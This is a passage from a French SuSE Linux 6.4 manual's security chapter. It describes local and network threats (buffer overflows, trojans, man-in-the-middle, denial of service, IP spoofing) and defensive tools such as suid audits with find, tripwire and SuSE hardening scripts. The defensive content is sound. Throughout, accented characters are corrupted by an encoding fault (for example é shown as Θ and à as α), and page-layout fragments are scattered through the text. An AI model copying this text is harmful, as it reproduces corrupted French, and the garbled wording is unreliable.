  29578.  *        ||||
  29579.                            |  sont vraiment utilisables.                                                                           *
  29580.  *        ||||
  29581.                            |_______________________________________________________________________________________________________*
  29582.  *________|||_
  29583.  
  29584.                            En rΘsumΘ, votre systΦme est exposΘ aux risques suivants :
  29585.  
  29586.  
  29587.                            Utilisateurs        qui  travaillent  directement  sur  les  machines.  Ils  constituent  le
  29588.                                  plus gros de tous les risques. Ils peuvent causer des dommages aussi bien
  29589.                                  par inadvertance que par malveillance.
  29590.  
  29591.                            Communications              par rΘseaux locaux ou Θtendus tels que l'Internet. D'une
  29592.                                  part ces communications peuvent Ωtre interceptΘes et d'autre part les rΘ-
  29593.                                  seaux offrent des possibilitΘs d'attaques α distance sans aucune limite gΘo-
  29594.                                  graphique.
  29595.  
  29596.                            AccΦs direct         α la machine. Elle peut Ωtre volΘe ou sabotΘe par des cambrio-
  29597.                                  leurs ou autres personnes malveillantes.
  29598.  
  29599.                            Catastrophes naturelles                auxquelles les ordinateurs sont trΦs vulnΘrables.
  29600.  
  29601.                            Composants matΘriels et logiciels                    pouvant Ωtre dΘfectueux en raison d'une
  29602.                                  mauvaise  conception  ou  d'anomalies  concrΦtes.  Non  seulement  de  tels
  29603.                                  composants  constituent  un  risque  potentiel  pour  vos  donnΘes  mais  ils
  29604.                                  peuvent aussi faciliter une compromission ou rendre un service complet
  29605.                                  inutilisable (voir aussi paragraphe 18.1.2 page 471).
  29606.  
  29607.                            Supports de donnΘes               tels   que   disquettes,   bandes   ou   disques   durs   qui
  29608.                                  peuvent Ωtre volΘs, perdus ou endommagΘs.
  29609.  
  29610.                            Radiations ΘlectromagnΘtiques                     Θmises  par  tout  ordinateur,  moniteur  et
  29611.                                  cΓble rΘseau. Les informations qu'elles contiennent peuvent Ωtre captΘes
  29612.                                  α  l'aide  de  dispositifs  adΘquats  et  Ωtre  exploitΘes.  Ces  radiations  sont
  29613.                                  transmises au travers de canalisations ou de cΓbles Θlectriques. Contrai-
  29614.                                  rement α ce que l'on pense habituellement, les moniteurs LCD Θmettent
  29615.                                  aussi des radiations.
  29616.  
  29617.  
  29618.                            Nous allons nous pencher de plus prΦs sur les deux premiers points car c'est
  29619.                            surtout dans ces domaines qu'une mise en oeuvre adΘquate de SuSE      Linux
  29620.                            permet d'Θliminer la majeure partie des risques potentiels. L'utilisateur privΘ
  29621.                            de SuSE      Linux sera s√rement moins intΘressΘ par les autres points mais les
  29622.                            personnes concernΘes par la mise en place d'un rΘseau d'entreprise devraient
  29623.                            les prendre en considΘration.
  29624.  
  29625.                            Nous  vous  prΘsenterons,  au  paragraphe  18.1.1  et  au  paragraphe  18.1.2
  29626.                            page  470,  les  diffΘrentes  formes  d'attaques  dont  vous  pourriez  Ωtre  vic-
  29627.                            time avant de vous prΘsenter au paragraphe 18.2 page 471 les diffΘrents outils
  29628.                            que SuSE      Linux 6.4 met α votre disposition pour vous permettre d'y parer.
  29629.                            Nous  terminerons  par  quelques  informations  gΘnΘrales  dont  vous  devriez
  29630.                            absolument tenir compte.
  29631.  
  29632.  
  29633.                            18.1.1       SΘcuritΘ locale
  29634.  
  29635.                            CharitΘ bien ordonnΘe : : : Commenτons d'abord par penser α la sΘcuritΘ de
  29636.                            notre propre machine dans le rΘseau local. MΩme si votre machine n'est pas
  29637.  
  29638.  
  29639. 466
  29640.        ________________________________________________________________________________________________18.1.__Principes_de_base____*
  29641.  *______________________
  29642.  
  29643.  
  29644.  
  29645. connectΘe α un rΘseau ou ne l'est que de faτon occasionnelle, quelques me-
  29646. sures de prudence ne peuvent pas nuire. L'effacement de votre disque dur au
  29647. cours d'une joyeuse surprise-partie peut vous rΘserver des surprises beaucoup
  29648. moins joyeuses si vous constatez le lendemain que vous avez perdu la thΦse
  29649. que vous veniez tout juste de terminer.
  29650.  
  29651.  
  29652. Mot de passe
  29653.  
  29654. Linux qui est un systΦme multiutilisateur ne se contente pas d'un seul mode de
  29655. gestion des utilisateurs. Il dispose d'un mΘcanisme complet d'authentification
  29656. par mots de passe. MΩme si cela peut sembler incommode et mΩme superflu,
  29657. vous devriez attribuer α chaque utilisateur de votre systΦme un mot de passe
  29658. bien choisi3 . Cette simple mesure protΦge votre systΦme contre les intrusions
  29659. malveillantes et le met α l'abri des manipulations maladroites. L'utilisateur
  29660. `root' est la cible de prΘdilection des attaques et son mot de passe devrait
  29661. par consΘquent Ωtre choisi avec le plus grand soin.
  29662.  
  29663. Mais les meilleurs mots de passe ne servent α rien si un intrus a directement
  29664. accΦs α une machine et peut l'amorcer. Il est en effet possible, avec une dis-
  29665. quette d'amorτage, d'avoir accΦs au systΦme installΘ. Pour cette raison, vous
  29666. devriez dΘsactiver les lecteurs de disquettes comme pΘriphΘriques amorτables
  29667. dans la configuration de votre BIOS.
  29668.        _______________________________________________________________________________________________________________________||
  29669.  
  29670.        ||||||||  Afin  que  cet  obstable  ne  puisse  pas  Ωtre  contournΘ,  vous  devriez  par  la            |||            |
  29671.        ||||||||  mΩme  occasion  dΘfinir  un  mot  de  passe  pour  le  BIOS.  Mais  vous  devez                ||             |
  29672.        ||||||||                                                                                                 ||             |
  29673.        ||||||||  absolument vous souvenir de ce mot de passe car si vous l'oubliez il vous                      ||             |
  29674.        ||||||||  sera  alors  impossible  d'accΘder  α  votre  propre  BIOS !  ~  α  moins  que  le             ||             |
  29675.        ||||||||                                                                                                 ||             |
  29676.        ||||||||  BIOS ne soit remis α zΘro pour faire disparaεtre le mot de passe.                              ||             |
  29677.        ||||||||_______________________________________________________________________________________________________________||_
  29678.  
  29679. Si  vous  utilisez  LILO  (voir  page  129),  vous  devriez  insΘrer  dans  le  fi-
  29680. chier /etc/lilo.conf l'option restricted          ainsi qu'un mot de passe (par
  29681. exemple  password=mot_de_passe_s√r                      )  et  activer  cette  option  au  moyen
  29682. de lilo    . Faute de quoi il est parfaitement possible α toute personne se trou-
  29683. vant directement devant la machine de compromettre le systΦme. Le mot de
  29684. passe  doit  Θvidemment  Ωtre  s√r  et  le  fichier  /etc/lilo.conf  ne  doit  Ωtre
  29685. lisible que par l'utilisateur `root'
  29686.  
  29687. Le paquetage john de la sΘrie sec (logiciels relatifs α la sΘcuritΘ du systΦme)
  29688. contient un programme permettant de deviner les mots de passe. L'adminis-
  29689. trateur avisΘ peut l'utiliser afin de faire reconnaεtre automatiquement les mots
  29690. de  passe  peu  fiables  et  recommander  aux  utilisateurs  l'emploi  de  mots  de
  29691. passe s√rs.
  29692.  
  29693.  
  29694. Droits d'accΦs
  29695.  
  29696. Afin de diminuer le risque de dommages que les diffΘrents utilisateurs pour-
  29697. raient causer avec ou sans intention, chacun d'entre eux devrait travailler avec
  29698. des permissions minimales. Il n'est pas nΘcessaire de travailler constamment
  29699. 3      ____________________________________________________
  29700.    Le choix d'un bon mot de passe a dΘjα fait l'objet d'articles souvent trΦs longs. Au para-
  29701. graphe 18.4 page 480, vous trouverez quelques informations pratiques α ce sujet.
  29702.  
  29703.  
  29704.                                                                                                                                    *
  29705.  *   467
  29706. 18.  La sΘcuritΘ est_une_question_de_confiance_____________________________________________________________________________________*
  29707.  *_______________________________________@
  29708.  
  29709.  
  29710.  
  29711.                            sous le compte `root' et le mot de passe ne devrait Ωtre connu que de l'ad-
  29712.                            ministrateur.
  29713.  
  29714.  
  29715.  
  29716.                            DΘpassement de buffer et autres attaques
  29717.  
  29718.                            La mΘthode la plus populaire d'usurper les droits `root' sur une machine
  29719.                            consiste α provoquer ce que l'on appelle un dΘpassement de buffer (angl. buf-
  29720.                            fer overflow)4  Ces ``exploits'' ont pour but de saturer les champs statiques dans
  29721.                            la pile utilisateur d'un programme, par exemple lors d'une entrΘe de texte, et
  29722.                            d'Θcraser par d'autres valeurs les variables de cette pile. La consΘquence en
  29723.                            est  que  l'on  ne  peut  plus  exΘcuter  de  code  comme  par  exemple  dΘmarrage
  29724.                            d'un shell. Ceci concerne essentiellement les programmes avec des dimen-
  29725.                            sions  de  tableaux  statiques  pour  les  entrΘes  de  valeurs  et  sans  contr⌠le  de
  29726.                            dΘbordement de buffer.
  29727.  
  29728.                            Les seuls programmes vulnΘrables α cette forme d'attaque sont ceux dont le
  29729.                            bit suid ou sgid est positionnΘ, en d'autres termes les programmes qui sont
  29730.                            lancΘs  avec  les  droits  du  propriΘtaire  et  non  pas  avec  ceux  de  l'utilisateur.
  29731.                            Ces  programmes  sont  habituellement  suid-root  car  ils  exΘcutent  des  tΓches
  29732.                            (comme par exemple passwd      ) pour lesquelles un utilisateur normal n'a pas
  29733.                            de permission. Le but de notre distribution est par consΘquent de limiter le
  29734.                            nombre de ces programmes et de les sΘcuriser contre de telles attaques. Outre
  29735.                            ces programmes, les services systΦme sous forme de dΘmons sont Θgalement
  29736.                            vulnΘrables α ce genre d'attaque. Vous devriez par ailleurs vous tenir informΘ
  29737.                            et procΘder α une mise α jour ou appliquer immΘdiatement des patches dΦs
  29738.                            que vous avez connaissance de tels exploits.
  29739.  
  29740.                            Un autre danger pour les programmes privilΘgiΘs et services en cours est ce
  29741.                            que l'on appelle les ``attaques aux liens symboliques'' (angl. link attacks). Un
  29742.                            fonctionnement peu s√r des programmes dans des rΘpertoires en libre accΦs
  29743.                            peut permettre de diriger les donnΘes vers des fichiers totalement diffΘrents et
  29744.                            de compromettre ainsi le systΦme ou de provoquer un plantage.
  29745.  
  29746.                            Pour rΘduire le nombre de fichiers suid et sgid dans le systΦme SuSE     Linux,
  29747.                            il  est  possible  avec  YaST  de  positionner  les  droits  des  fichiers  α  secure
  29748.                            ou paranoid         sous `Administration  du  systΦme' et `Configuration
  29749.                            sΘcuritΘ  du  systΦme'  dans  la  fenΩtre  de  sΘlection  `Les  droits  sur
  29750.                            les  fichiers  sont  positionnΘs  α  :'.  Vous  pouvez  ensuite  vΘrifier
  29751.                            dans   les   fichiers   /etc/permissions.secure   et   /etc/permissions.
  29752.                            paranoid quels droits ont ΘtΘ ainsi positionnΘs. Avant d'utiliser paranoid        ,
  29753.                            vous devriez toutefois vous assurer que la fonctionnalitΘ du systΦme n'est pas
  29754.                            trop limitΘe pour vos propres besoins.
  29755.  
  29756.                            En   raison   de   sa   complexitΘ   et   de   la   croissance   de   son   code,   le
  29757.                            systΦme X Window              (XFree86) s'est trΦs souvent rΘvΘlΘ vulnΘrable. Ce pro-
  29758.                            blΦme  a  toutefois  perdu  de  son  acuitΘ  sous  SuSE      Linux  du  fait  que  les
  29759.                            serveurs  et  les  bibliothΦques  ne  sont  plus  suid-root.  Mais  il  peut  malgrΘ
  29760.                            tout,  dans  certaines  circonstances,  subsister  quelques  failles  dans  la  com-
  29761.                            munication entre client et serveur. Il est par exemple possible d'intercepter
  29762.                            des  entrΘes  clavier  et  de  lire  le  contenu  de  fenΩtres.  Pour  vous  assurer  un
  29763.                            _____________________________________________4
  29764.                              MΘthode connue aussi sous le nom de ``stack smashing'' (Θcrasement de pile).
  29765.  
  29766.  
  29767. 468
  29768.        ________________________________________________________________________________________________18.1.__Principes_de_base____*
  29769.  *______________________
  29770.  
  29771.  
  29772.  
  29773. bon niveau de sΘcuritΘ, observez la rΦgle 3, utilisez Xauthority (par la com-
  29774. mande  xauth    )  et  abstenez-vous  d'utiliser  xhost  +     .  Pour  lancer  α  distance
  29775. des  programmes  X,  vous  devriez  si  possible  utiliser  le  paquetage  ssh  de
  29776. la  sΘrie  sec  (logiciels  relatifs  α  la  sΘcuritΘ  du  systΦme)  (+  Encryptage).
  29777. Si  vous  voulez  en  faire  un  usage  commercial,  observez  les  termes  de  la
  29778. licence  (/usr/doc/packages/ssh/COPYING).  ssh   est  Θgalement  dispo-
  29779. nible  pour  les  autres  plates-formes  les  plus  courantes.  La  fonctionnalitΘ
  29780. ``X11-Forwarding'' comporte cependant des risques qui lui sont propres et il
  29781. vous est fortement recommandΘ d'envisager d'y renoncer complΦtement.
  29782.        _______________________________________________________________________________________________________________________
  29783.        ||||||||  Le systΦme X Window ne devrait d'ailleurs pas Ωtre installΘ sur des ser-                       ||             |
  29784.        ||||||||                                                                                                 ||             |
  29785.        ||||||||  veurs critiques, ne serait-ce que pour des raisons de performance.                             ||             |
  29786.        ||||||||_______________________________________________________________________________________________________________||_
  29787.  
  29788.  
  29789. Virus et chevaux de Troie
  29790.  
  29791. Il y a encore peu de temps, des virus de toutes sortes faisaient des ravages et
  29792. leur rayon d'action ne se limitait pas α quelques PC car les disquettes servant
  29793. α la diffusion et α l'Θchange de logiciels constituent un vΘritable bouillon de
  29794. culture pour ce genre de programmes. Fort heureusement, on ne connaεt pour
  29795. Linux que 2 virus. Comme on ne distribue pratiquement pas de logiciels au
  29796. format  binaire  pour  Linux  et  que  SuSE     Linux  peut  Ωtre  considΘrΘ  comme
  29797. exempt de virus, vous ne courez aucun risque d'infection si vous observez la
  29798. rΦgle 1, page 480.
  29799.  
  29800. Il n'en est toutefois pas de mΩme pour les virus macro qui continuent α se
  29801. propager et qui, nichΘs dans des documents de traitement de texte, sont trans-
  29802. mis par E-mail. Le logiciel bureautique le plus courant n'Θtant pas disponible
  29803. sous Linux, ces virus macro se trouvent dans un environnement ``stΘrile'' sur
  29804. SuSE      Linux. Le r⌠le ``d'agent de transport de mail'' que SuSE     Linux joue de
  29805. plus en plus frΘquemment sur les serveurs de messagerie donne l'occasion de
  29806. scanner le courrier entrant et sortant pour y dΘcouvrir d'Θventuels virus.
  29807.  
  29808. Les ``chevaux de Troie'' constituent un problΦme diffΘrent . Ces programmes
  29809. cherchent α se faire passer pour autre chose que ce qu'ils sont afin de camou-
  29810. fler leur vΘritable activitΘ. DerriΦre une invite de login, il peut se cacher un
  29811. cheval de Troie qui rassemble dans un fichier ou transmet par E-mail les mots
  29812. de passe qu'il a escroquΘs. Ceci peut ne pas sembler trop grave au premier
  29813. abord mais dΦs qu'il s'agit de numΘros de cartes de crΘdit ou d'identification
  29814. de comptes courants les choses deviennent plus sΘrieuses. Le risque de tΘlΘ-
  29815. charger un cheval de Troie depuis Internet ou de le voir s'infiltrer par courrier
  29816. Θlectronique est relativement minime. Mais la technique consistant α laisser
  29817. quelques Troyens sur un systΦme dΘjα compromis afin de s'en assurer l'accΦs
  29818. α tout moment constitue une pratique rΘpandue. La prΘsence de chevaux de
  29819. Troie peut donc Ωtre considΘrΘe comme un signe rΘvΘlateur plut⌠t s√r de la
  29820. compromission d'un systΦme.
  29821.  
  29822. Il n'existe pas de protection absolue contre les virus et les chevaux de Troie.
  29823. On  peut  toutefois  limiter  les  risques  en  utilisant  un  bon  scanner  de  virus
  29824. ainsi qu'en manipulant les disquettes et les programmes externes avec la plus
  29825. grande  prudence  et  en  observant  les  rΦgles  ΘnumΘrΘes  au  paragraphe  18.4
  29826. page 480. Certains programmes tels que tripwire , paquetage tripwire, sΘrie
  29827.  
  29828.  
  29829.                                                                                                                                    *
  29830.  *   469
  29831. 18.  La sΘcuritΘ est_une_question_de_confiance_____________________________________________________________________________________*
  29832.  *_______________________________________@
  29833.  
  29834.  
  29835.  
  29836.                            sec (Logiciels relatifs α la sΘcuritΘ du systΦme), voir page 472 apportent aussi
  29837.                            une aide prΘcieuse lorsqu'il s'agit de dΘtecter des chevaux de Troie.
  29838.  
  29839.  
  29840.                            18.1.2       SΘcuritΘ rΘseau
  29841.  
  29842.                            Il n'existe plus guΦre aujourd'hui de machines complΦtement isolΘes. En rai-
  29843.                            son des excellentes capacitΘs rΘseau de Linux, de nombreuses machines fonc-
  29844.                            tionnent dans un LAN, sont connectΘes par modem ou ISND α Internet ou
  29845.                            servent  de  passerelles  pour  des  sous-rΘseaux.  Ceci  expose  ces  machines  α
  29846.                            toutes sortes d'attaques par rΘseau.
  29847.  
  29848.                            Par l'installation et la configuration d'un pare-feu (angl. firewall), vous pou-
  29849.                            vez vous prΘmunir contre la plupart des tentatives d'attaque. Les ports ouverts
  29850.                            restent  bien  s√r  vulnΘrables  mais  vous  pouvez  rΘduire  considΘrablement  le
  29851.                            risque par la mise en oeuvre d'autres outils adΘquats.
  29852.  
  29853.                            Le risque d'Ωtre la cible d'une attaque pendant les 30 minutes que vous passez
  29854.                            α lire votre courrier Θlectronique peut Ωtre considΘrΘ comme minime. Mais les
  29855.                            systΦmes connectΘs en permanence devraient absolument Ωtre protΘgΘs. Nous
  29856.                            allons vous prΘsenter ici les formes d'attaques les plus courantes
  29857.  
  29858.  
  29859.                            Attaque de l'homme au milieu
  29860.  
  29861.                            Les  ``attaques  de  l'homme  au  milieu''  (angl.  Man  in  the  middle  attacks)
  29862.                            concernent le trafic routΘ par une ou plusieurs machines entre diffΘrents rΘ-
  29863.                            seaux. L'attaquant prend le contr⌠le de l'un des routeurs et peut intercepter
  29864.                            des paquets IP, les rediriger ou les Θchanger. Comme α l'heure actuelle les pa-
  29865.                            quets IP ne sont pas authentifiΘs, cette forme d'attaque est relativement facile.
  29866.                            Le prochain standard IPv6 nous promet une amΘlioration.
  29867.  
  29868.                            La seule maniΦre de parer α ce genre d'attaques dont on peut Ωtre victime en
  29869.                            Θchangeant du courrier Θlectonique ou lors de l'accΦs α un serveur WWW est
  29870.                            l'adoption d'un puissant systΦme de d'+  encryptage.
  29871.  
  29872.                            telnet       et rsh    font apparaεtre les messages, y compris les mots de passe, en
  29873.                            texte  clair.  C'est  ceci  qui  rend  le  plus  frΘquemment  un  systΦme  vulnΘrable
  29874.                            aux attaques extΘrieures et il est judicieux d'utiliser α la place ssh   . Pour la
  29875.                            signature du courrier Θlectronique, il est recommandΘ d'utiliser pgp   . Le pro-
  29876.                            tocole SSL permet l'+  encryptage de pages HTTP. La qualitΘ de l'encryptage
  29877.                            est toutefois Θtroitement liΘe α la sΘcuritΘ de transmission des clΘs. Il convient
  29878.                            donc de faire preuve ici de la plus grande prudence !
  29879.  
  29880.                            Le paquetage modssl de la sΘrie n (RΘseau) contient le module SSL pour le
  29881.                            serveur HTTP paquetage apache.
  29882.  
  29883.  
  29884.                            DΘpassement de buffer, 2Φme partie
  29885.  
  29886.                            AprΦs le ``sniffing'' qui est la lecture passive de donnΘes (par exemple login et
  29887.                            mot de passe), les dΘpassements de buffer (angl. buffer overflows) constituent
  29888.                            la mΘthode la plus frΘquemment employΘe pour compromettre un systΦme de
  29889.                            l'extΘrieur. Ici, tout service accessible de l'extΘrieur (par exemple messagerie,
  29890.                            serveur Web, POP3, etc.) reprΘsente un risque potentiel pour la sΘcuritΘ du
  29891.                            systΦme. Tout service indispensable qui ne peut pas Ωtre dΘsactivΘ devrait Ωtre
  29892.  
  29893.  
  29894. 470
  29895.        _________________________________________________________________________________________________________________18.2.__Outi*
  29896.  *ls____________________
  29897.  
  29898.  
  29899.  
  29900. accessible, si possible α travers un filtrage Firewall configurΘ dans le noyau
  29901. Linux (au moyen de ipchains       ), uniquement α partir de systΦmes dΘterminΘs.
  29902.  
  29903. Et  si  cela  n'est  pas  non  plus  possible,  vous  devriez  essayer  de  remplacer
  29904. le  service  par  une  version  particuliΦrement  s√re  (par  exemple  le  paquetage
  29905. postfix au lieu du paquetage sendmail). Les experts peuvent en outre faire
  29906. fonctionner chaque service un environnement chroot       spΘcifique.
  29907.  
  29908.  
  29909.  
  29910. Attaque par dΘni de service
  29911.  
  29912. Une attaque par dΘni de service (angl. denial of service) a pour but de mettre
  29913. un service rΘseau hors fonction par un encombrement provoquΘ intentionnel-
  29914. lement. Dans certains cas, ce n'est pas seulement le service en question qui
  29915. est touchΘ mais aussi la machine elle-mΩme qui n'est alors plus accessible.
  29916. Cette forme d'attaque est trΦs souvent utilisΘe pour dΘsactiver un serveur de
  29917. noms et faire assumer ses fonctions par une autre machine. Les paquets rΘseau
  29918. peuvent alors Ωtre acheminΘs vers une autre direction. Le dΘni de service est
  29919. trΦs souvent combinΘ α l'IP spoofing dans le but de masquer l'origine de l'at-
  29920. taque (voir prΘsente page). Pour cette raison, on n'obtient en gΘnΘral aucun
  29921. rΘsultat en faisant des recherches et la seule solution est de mieux sΘcuriser
  29922. son systΦme.
  29923.  
  29924. DΦs qu'une attaque par dΘni de service ayant provoquΘ le blocage complet
  29925. d'une machine est connue, un patch est mis α disposition dans les quelques
  29926. heures qui suivent. SuSE     Linux est parΘ contre les attaques par dΘni de service
  29927. connues au moment de l'Θlaboration de la version actuelle. Mais l'adminis-
  29928. trateur  responsable  d'un  systΦme  devrait  toutefois  se  tenir  continuellement
  29929. informΘ.
  29930.  
  29931.  
  29932.  
  29933. IP Spoofing
  29934.  
  29935. L'``IP Spoofing'' est une technique qui tire parti d'une lacune de sΘcuritΘ dans
  29936. le protocole TCP/IP. L'adresse de l'expΘditeur d'un paquet TCP/IP n'est pas
  29937. contr⌠lΘe et peut Ωtre modifiΘe ce qui permet α l'attaquant de camoufler son
  29938. origine.
  29939.  
  29940. Il est tout d'abord essentiel que vous configuriez votre propre routeur de telle
  29941. maniΦre  que  seuls  les  paquets  ayant  une  adresse  d'origine  externe  puissent
  29942. passer dans le rΘseau interne et que seuls les paquets ayant une adresse interne
  29943. soient routΘs vers le rΘseau externe.
  29944.  
  29945.  
  29946.  
  29947. 18.2        Outils
  29948.  
  29949.  
  29950. Nous  allons  maintenant  vous  prΘsenter  les  outils  qui  vous  permettent  de
  29951. contr⌠ler  votre  systΦme  et  de  rechercher  des  failles  Θventuelles.  Mais  il
  29952. convient de prΘciser ici que les dangers potentiels auxquels une machine est
  29953. exposΘe doivent toujours Ωtre ΘvaluΘs de faτon individuelle. Les mesures de
  29954. contr⌠le et de protection α prendre pour une machine qui se trouve dans un
  29955. rΘseau protΘgΘ par un pare-feu seront moins sΘvΦres que celles qui s'imposent
  29956. pour une machine connectΘe α un rΘseau sans aucune protection.
  29957.  
  29958.  
  29959.  
  29960.                                                                                                                                    *
  29961.  *   471
  29962. 18.  La sΘcuritΘ est_une_question_de_confiance_____________________________________________________________________________________*
  29963.  *_______________________________________@
  29964.  
  29965.  
  29966.  
  29967.                            18.2.1       Outils locaux
  29968.                            L'avantage incontestable de Linux par rapport α d'autres systΦmes d'exploi-
  29969.  
  29970.                            tation  est  d'une  part  sa  stabilitΘ  et  d'autre  part  sa  fonction  multiutilisateur.
  29971.                            Mais ce dernier point comporte aussi des risques que l'on aurait tort de sous-
  29972.                            estimer. Il existe, en plus des permissions bien connues, des paramΦtres pou-
  29973.                            vant Ωtre exploitΘs par des utilisateurs (ou attaquants) expΘrimentΘs. Nous par-
  29974.                            lons ici du fameux bit suid. Un programme qui a ce bit positionnΘ obtient au-
  29975.                            tomatiquement les droits de l'utilisateur auquel il appartient. Si ce programme
  29976.                            appartient au super-utilisateur (root), il a dans le systΦme les droits du super-
  29977.                            utilisateur mΩme s'il est lancΘ par n'importe quel autre utilisateur. Cela paraεt
  29978.                            plut⌠t dangereux mais certaines fonctionnalitΘs le requiΦrent. Le programme
  29979.                            ping , par exemple, doit Ωtre exΘcutΘ avec les droits du super-utilisateur. Cela
  29980.                            signifierait normalement que seul l'utilisateur `root' est autorisΘ α l'exΘcu-
  29981.                            ter. Pour Θviter qu'il en soit ainsi, on positionne le bit suid.
  29982.  
  29983.                                  tux@terre:/home/tux        >  ls  -l  /bin/ping
  29984.  
  29985.                            ________________________________________________________________________________________________________*
  29986.  *________
  29987.                            |-rwsr-xr-x     1  root     root         13216  Mar  17  16:36  /bin/ping                               *
  29988.  *         |
  29989.                            |                                                                                                       *
  29990.  *         |
  29991.                            |_______________________________________________________________________________________________________*
  29992.  *________ |
  29993.  
  29994.  
  29995.                            Si vous voulez savoir quels programmes dans votre systΦme ont le bit suid
  29996.                            positionnΘ et appartiennent α l'utilisateur `root', tapez tout simplement
  29997.  
  29998.                                  tux@terre:/home/tux        >  find  /  -uid  0  -perm  +4000
  29999.  
  30000.                            Ceci  vous  permet  de  dΘtecter  les  programmes  ``suspects''.  Sous  SuSE
  30001.                            Linux,   vous   pouvez,   dans   le   menu   de   YaST   `Administration  du
  30002.                            systΦme'    et    `Configuration  sΘcuritΘ  du  systΦme',    sΘlection-
  30003.                            ner  l'option  secure       dans  la  fenΩtre  `Les  droits  sur  les  fichiers
  30004.                            sont  positionnΘs  α  :'.  Vous  pourrez  ensuite  vΘrifier  dans  le  fichier
  30005.                            /etc/permissions.secure quels droits ont ΘtΘ dΘfinis.
  30006.  
  30007.                            Pratiquement personne ne dispose du temps nΘcessaire pour vΘrifier constam-
  30008.                            ment sa machine α l'aide de commandes subtiles. Mais il existe heureusement
  30009.                            des outils qui nous facilitent la tΓche. Nous allons maintenant dΘcrire briΦ-
  30010.                            vement  l'un  de  ces  outils  que  nous  jugeons  opportun  de  mentionner  car  il
  30011.                            est recommandΘ par le CERT5 . Il s'agit du programme tripwire , paquetage
  30012.                            tripwire, sΘrie sec (logiciels relatifs α la sΘcuritΘ du systΦme).
  30013.  
  30014.  
  30015.                            Tripwire
  30016.  
  30017.                            Le  fonctionnement  de  ce  programme  est  en  principe  plut⌠t  simple.  Il  fait
  30018.                            des recherches dans le systΦme et stocke les informations dans une base de
  30019.                            donnΘes. Vous pouvez prΘciser, α l'aide d'un fichier de configuration, quels
  30020.                            fichiers et rΘpertoires doivent Ωtre contr⌠lΘs et quelles informations doivent
  30021.                            Ωtre vΘrifiΘes.
  30022.  
  30023.                            Tripwire ne recherche ni les fichiers infectΘs ni les erreurs dans le systΦme.
  30024.                            Il crΘe simplement une base de donnΘes pour un systΦme qu'il suppose Ωtre
  30025.                            ``sain''. Pour cette raison, la base de donnΘes devrait Ωtre crΘΘe immΘdiatement
  30026.                            _____________________________________________5
  30027.                              CERT = Computer Emergency Response Team, voir http://www.cert.dfn.de/dfncert/
  30028.                            info.html.
  30029.  
  30030.  
  30031. 472
  30032.        _________________________________________________________________________________________________________________18.2.__Outi*
  30033.  *ls____________________
  30034.  
  30035.  
  30036.  
  30037. aprΦs l'installation d'un systΦme, de prΘfΘrence avant que la machine ne soit
  30038. connectΘe au rΘseau. Une base de donnΘes est crΘΘe α l'aide de la commande
  30039. suivante :
  30040.  
  30041.       root@terre:root  >  /var/adm/tripwire/bin/tripwire  -init
  30042.  
  30043. Le tableau 18.1 indique les chemins d'accΦs α la base de donnΘes et au fichier
  30044. de configuration qui ont ΘtΘ compilΘs dans le paquetage tripwire de SuSE
  30045. Linux.
  30046.        _______________________________________________________________________________________________________________________
  30047.  
  30048.    /var/adm/tripwire                          Base de donnΘes et fichier de configuration
  30049.    databases                                  Ce fichier est crΘΘ automatiquement. Il sert
  30050.                                               α abriter temporairement les bases de don-
  30051.                                               nΘes nouvellement crΘΘes. Elles doivent en-
  30052.                                               suite Ωtre copiΘes manuellement α l'empla-
  30053.                                               cement qui convient.
  30054.    /var/adm/tripwire/                         Fichier de configuration
  30055.    tw.config
  30056.    /var/adm/tripwire/db                       Emplacement de la base de donnΘes
  30057.  
  30058.        _______________________________________________________________________________________________________________________
  30059.                   Tab. 18.1: Chemins d'accΦs compilΘs pour Tripwire
  30060.  
  30061.  
  30062. Les chemins d'accΦs ont ΘtΘ choisis en tenant compte du fait que seul le super-
  30063. utilisateur est autorisΘ α lire son rΘpertoire personnel /root. Pour bien faire,
  30064. la base de donnΘes devrait se trouver sur un systΦme de fichiers auquel on ne
  30065. peut accΘder qu'en lecture seule, par exemple une disquette protΘgΘe contre
  30066. l'Θcriture, afin qu'un attaquant parvenu α accΘder au systΦme ne puisse pas
  30067. camoufler ses manipulations en modifiant la base de donnΘes.
  30068.  
  30069. Vous trouverez un exemple de configuration pour Tripwire sous /usr/doc/
  30070. packages/tripwire/tw.conf.example.linux. Vous pourrez obtenir des
  30071. informations  sur  la  syntaxe  et  les  caractΘristiques  de  ce  fichier  de  configu-
  30072. ration  dans  la  page  de  man  relative  α  tw.config.  Pour  les  diffΘrents  fi-
  30073. chiers, vous pouvez employer diffΘrentes mΘthodes d'obtention de la somme
  30074. de contr⌠le. Vous pouvez en outre prΘciser quelles informations d'un fichier
  30075. ou d'un rΘpertoire devront Ωtre stockΘes.
  30076.  
  30077. AprΦs avoir crΘΘ votre fichier de configuration individuel, vous pouvez faire
  30078. tourner tripwire rΘguliΦrement, par exemple sous forme d'un job cron.
  30079.  
  30080.  
  30081. Outils de sΘcuritΘ SuSE
  30082.  
  30083. SuSE     Linux dispose maintenant de quatre programmes de sΘcuritΘ qui lui sont
  30084. propres et qui vous aident d'une part α rendre votre systΦme plus s√r et d'autre
  30085. part α le contr⌠ler : Le paquetage firewals, sΘrie sec (Logiciels relatifs α la
  30086. sΘcuritΘ du systΦme) contient le script /usr/sbin/SuSEfirewall qui lit le
  30087. fichier de configuration /etc/rc.firewall et gΘnΦre ensuite des listes de
  30088. restrictives de filtres au moyen de ipchains . Vous trouverez plus de dΘtails au
  30089. paragraphe 18.2.2 page 475 concernant les outils rΘseau.
  30090.  
  30091. Le paquetage secchk, sΘrie sec (logiciels relatifs α la sΘcuritΘ du systΦme)
  30092. contient deux petits scripts qui effectuent des contr⌠les de sΘcuritΘ du systΦme
  30093.  
  30094.  
  30095.                                                                                                                                    *
  30096.  *   473
  30097. 18.  La sΘcuritΘ est_une_question_de_confiance_____________________________________________________________________________________*
  30098.  *_______________________________________@
  30099.  
  30100.  
  30101.  
  30102.                            α un rythme quotidien, hebdomadaire et mensuel (par exemple cohΘrence du
  30103.                            fichier de mots de passe, donnΘes utilisateurs, possibilitΘ de casser les mots
  30104.                            de passe, modules en fonctionnement) et avertissent l'administrateur systΦme
  30105.                            lors de modifications.
  30106.  
  30107.                            Le paquetage hardsuse, sΘrie sec (logiciels relatifs α la sΘcuritΘ du systΦme)
  30108.                            contient le script Perl /usr/sbin/harden`suse  dΘveloppΘ pour fournir aux ad-
  30109.                            ministrateurs  un  programme  simple  α  utiliser  leur  permettant  d'accroεtre  la
  30110.                            sΘcuritΘ de leur systΦme. AprΦs le dΘmarrage, il vous sera posΘ neuf questions
